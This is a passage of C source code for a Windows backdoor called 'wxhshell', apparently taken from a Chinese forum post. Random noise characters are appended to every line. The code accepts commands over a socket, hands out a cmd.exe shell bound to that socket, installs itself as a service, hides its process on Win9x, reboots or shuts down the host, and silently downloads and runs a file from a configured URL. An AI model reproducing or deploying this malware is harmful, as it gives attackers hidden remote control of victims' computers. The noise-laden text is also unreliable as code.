  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Qwb@3{  
  } U*-%V$3+w5  
  else { s#4 "f  
V@$B>HeK  
    switch(cmd[0]) { 7B'0(70  
  KmMt:^9  
  // 帮助 8J)x>6  
  case '?': { O". #B  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Z I8p(e  
    break; ~sM334sQ  
  } qWWy}5SOm  
  // 安装 UOa{J|k>h  
  case 'i': { Q} / :  
    if(Install()) v'|Dj^3[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }+SnY8A=KZ  
    else b7\nCRY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3c6<JW  
    break; le*pd+>j  
    } W] RxRdY6[  
  // 卸载 -q-%)f  
  case 'r': { k(T/yd rw  
    if(Uninstall()) _mcD*V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P/^:IfuR  
    else Orz Dr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r> NgJf,  
    break; 0n5N-b?G-@  
    } J&lQ,T!?B  
  // 显示 wxhshell 所在路径 T'w=v-(J  
  case 'p': { oqG 0 @@  
    char svExeFile[MAX_PATH]; <}|+2f233+  
    strcpy(svExeFile,"\n\r"); ZVI.s U  
      strcat(svExeFile,ExeFile); {Bu^%JEn  
        send(wsh,svExeFile,strlen(svExeFile),0); >ztv3^w  
    break; e\\ I,  
    } /H}83 C  
  // 重启 ).k=[@@V  
  case 'b': { p`Ax)L\f  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `2GHB@S"k  
    if(Boot(REBOOT)) nL\BB&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [^aow-4z  
    else { 4O2O0\o:  
    closesocket(wsh); b8>r UGA{  
    ExitThread(0); Qp{{OjD  
    } ' R{ [Y)  
    break; d6wsT\S  
    } ptX;-'j(  
  // 关机 >i=mw5`D]  
  case 'd': { |',MgA  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); yY8q{\G  
    if(Boot(SHUTDOWN)) ZE4~rq/W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mlX^5h'  
    else { i :@00)V{,  
    closesocket(wsh); -(~CZ  
    ExitThread(0); -$t#AYKz  
    } X5=Dc+  
    break; ]5B5J  
    } k|1/gd5  
  // 获取shell FhW\23OC  
  case 's': { 5v8_ji#l[  
    CmdShell(wsh); |_Z(}% <o  
    closesocket(wsh); MH1??vW  
    ExitThread(0); EZao\,t  
    break; .#P'NF(5#  
  } *uNa( yd  
  // 退出 |R DPx6!V  
  case 'x': { W$  M4#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  #\Lt0  
    CloseIt(wsh); sFMSH :5z  
    break; Wcw$ Zv  
    } /qEoiL###  
  // 离开 A@+pvC&  
  case 'q': { .X TBy/(0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?~hC.5  
    closesocket(wsh); :,% vAI  
    WSACleanup(); <t&0[l  
    exit(1); )y_MI r  
    break; Fd9ypZs  
        } Y0 Ta&TYZ0  
  } *e!0ZB3J  
  } b v~"_)C  
P;{f+I|`  
  // 提示信息 )mS Aog<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *ax$R6a#X  
} _|`S9Nms  
  } ,)|nxX  
{IJ,y27  
  return; rOEk%kJ  
} 8 Ys DE_  
wHvX|GwMv  
// shell模块句柄 `~F=  
int CmdShell(SOCKET sock) *{/BPc0*  
{ txw:m*(%  
STARTUPINFO si; 4DaLmQ2O  
ZeroMemory(&si,sizeof(si)); 9])dLL0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V)=!pT  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *xI0hFJIM  
PROCESS_INFORMATION ProcessInfo; GMyzQ]@}  
char cmdline[]="cmd"; n3 -5`Jti  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?zM]p"M  
  return 0; xp.~i*!`  
} 3{O^q/R  
+:+q,0~*]  
// 自身启动模式 ^9UKsy/q  
int StartFromService(void) HM /2/ /  
{ uzr(gFd  
typedef struct Q,S~+bD(z  
{ j|c  
  DWORD ExitStatus; [< Bk% B5  
  DWORD PebBaseAddress; ]nY,%XE  
  DWORD AffinityMask; Qo+I98LX[  
  DWORD BasePriority; h(l4\)  
  ULONG UniqueProcessId; ^"STM'Zh  
  ULONG InheritedFromUniqueProcessId; ZF!cXo7d  
}   PROCESS_BASIC_INFORMATION; w9Bbvr6  
SvLI%>B=9  
PROCNTQSIP NtQueryInformationProcess; P>j^w#$n  
6 GqR]KD  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; y@Z@ eK3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; xp7 `[.  
c@>Tzk%?"  
  HANDLE             hProcess; FL*qV"r^n  
  PROCESS_BASIC_INFORMATION pbi; XEl-5-M"  
;89 `!V O  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); T)? : q  
  if(NULL == hInst ) return 0; h fZY5+Z<  
la+RK  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); E">FH >8K}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Au~l O  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4+I@   
ammlUWl  
  if (!NtQueryInformationProcess) return 0; '_oWpzpe  
0N>NX?r  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); BJC$KmGk  
  if(!hProcess) return 0; $P rji  
j1D 1tn  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @K .{o'  
EIQ`?8KSR  
  CloseHandle(hProcess); UEHJ? }  
&y_Ya%Z3*e  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); X?whyD)vE@  
if(hProcess==NULL) return 0; 2t 7':X  
XT+V> H I  
HMODULE hMod; 89hV{^  
char procName[255]; i7D[5!  
unsigned long cbNeeded; wr>[Eo@%\  
AH-B/c5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); S\5%nz \  
t$~CLq5ad  
  CloseHandle(hProcess); NhJ]X cfP8  
rMr:\M]t  
if(strstr(procName,"services")) return 1; // 以服务启动 j}u b  
I(m*%>  
  return 0; // 注册表启动 I[nSf]Vm>  
} !y_4.&C{  
x9\z^GU%H  
// 主模块 eLFxGZZ  
int StartWxhshell(LPSTR lpCmdLine) u|(;SY  
{ !r^fX=X>'  
  SOCKET wsl; [~_)]"pU  
BOOL val=TRUE; .Nk'yow  
  int port=0; 7]sRHX0o%  
  struct sockaddr_in door; JX!z,X?r4  
&FrUj>i  
  if(wscfg.ws_autoins) Install(); 1?I_fA}  
YF8;s4  
port=atoi(lpCmdLine); R|D%1@i]  
*{y({J  
if(port<=0) port=wscfg.ws_port; <tUl(q+ty  
z H|YVg  
  WSADATA data; (>]frlEU~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "t0l)P*C}  
2nra@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   VN3 [B eH  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); At<D36,^"  
  door.sin_family = AF_INET; ~aBf.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (>49SOu;$\  
  door.sin_port = htons(port); 2`dKnaF|  
C*X=nezq  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ibP IT!5c  
closesocket(wsl); !#y_vz9  
return 1; +-X 6 8`  
} ,{6 Vf|?  
)x5t']w`K  
  if(listen(wsl,2) == INVALID_SOCKET) { c,j[ix  
closesocket(wsl); DyPHQ}G  
return 1; 7m$EZTw?  
} Z1}@N/>>  
  Wxhshell(wsl); R E0ud_q2  
  WSACleanup(); d HN"pNNs  
"f~*4g  
return 0; D?.H|%  
Y~TD)c=  
} _.%U}U  
[_HY6gr  
// 以NT服务方式启动 @ / .w%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =O%Hf bx  
{ G!)Q"+  
DWORD   status = 0; ;~,)6UX7  
  DWORD   specificError = 0xfffffff; F,8?du]  
rSa=NpFxLu  
  serviceStatus.dwServiceType     = SERVICE_WIN32; FW"n+7T  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -xXdT$Xd  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; G)IK5zCDd  
  serviceStatus.dwWin32ExitCode     = 0; V1#:[o63+  
  serviceStatus.dwServiceSpecificExitCode = 0; N&yr?b'!-*  
  serviceStatus.dwCheckPoint       = 0; m)l'i!Y  
  serviceStatus.dwWaitHint       = 0; :y.~IQN  
8-B6D~i  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Y(RB@+67  
  if (hServiceStatusHandle==0) return; &>f]  
#HDP ha  
status = GetLastError(); 0^3n#7m;K  
  if (status!=NO_ERROR) "IHFme@^  
{ H-,p.$3}  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; y[{}124  
    serviceStatus.dwCheckPoint       = 0; ~2;\)/E\  
    serviceStatus.dwWaitHint       = 0; ^ItL_ 4  
    serviceStatus.dwWin32ExitCode     = status; b+`qGJrej  
    serviceStatus.dwServiceSpecificExitCode = specificError; yGY:EvH^?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); V]Rt[l]  
    return; |b4f3n  
  } 0Ke2%+yqJ  
~KQiNkA\|l  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; S3UJ)@ E  
  serviceStatus.dwCheckPoint       = 0; u!-v1O^[  
  serviceStatus.dwWaitHint       = 0; &gF9VY  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [*J?TNk  
} :85QwN]\  
TKp2C5bX  
// 处理NT服务事件,比如:启动、停止 gNJdP!(t  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !bIE%cq  
{ B[IWgvB(e  
switch(fdwControl) 5?Ukf$)x  
{ a9u2Wlz  
case SERVICE_CONTROL_STOP: K&VMhMVb  
  serviceStatus.dwWin32ExitCode = 0; KV)if'  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; eI9#JM|2  
  serviceStatus.dwCheckPoint   = 0; Hqtv`3g  
  serviceStatus.dwWaitHint     = 0; )(9[>_+40  
  { Ft^X[5G4L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Jcy+(7lE)  
  } fg7  
  return; 7|xu)zYB  
case SERVICE_CONTROL_PAUSE: WMa`! Q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Y P,>vzW  
  break; ?AO22N|j  
case SERVICE_CONTROL_CONTINUE: K$l@0r ~k  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; j}O qWX>/  
  break; 2bOl`{x  
case SERVICE_CONTROL_INTERROGATE: aoQ$"PF9  
  break; ejia4(Cd  
}; ;F_P<b 2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \.'[!GE*c  
} 0|<9eD\I=  
vb| d  
// 标准应用程序主函数 b<%c ]z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Wecxx^vtv6  
{ Vr@tSc&  
R^mkQb>m.  
// 获取操作系统版本 "G^TA:O:=  
OsIsNt=GetOsVer(); |/ji'Bh  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :p%#U$S4  
+z[+kir  
  // 从命令行安装 D |=L)\  
  if(strpbrk(lpCmdLine,"iI")) Install(); UhJ{MUH`  
SOZs!9oi  
  // 下载执行文件 )PkW,214#  
if(wscfg.ws_downexe) { Gr>CdB>~+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )FSEHQ  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2OpkRFFa  
} Be9,m!on  
G`;\"9t5h  
if(!OsIsNt) { c39j|/!;Y  
// 如果时win9x,隐藏进程并且设置为注册表启动 bU[_YuJbM  
HideProc(); ]9PG"<^k  
StartWxhshell(lpCmdLine); ;%Px~g  
} NG`Y{QT6N  
else =XtQ\$Pax  
  if(StartFromService()) ^i r)z@P?V  
  // 以服务方式启动 O c.fvP^ZD  
  StartServiceCtrlDispatcher(DispatchTable); N~0ih T G5  
else R58NTPm  
  // 普通方式启动 %ZcS"/gf  
  StartWxhshell(lpCmdLine); -k@1# c+z  
f[ 2PAz  
return 0; vvG"rU  
}
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只看该作者 1 发表于: 2006-10-10
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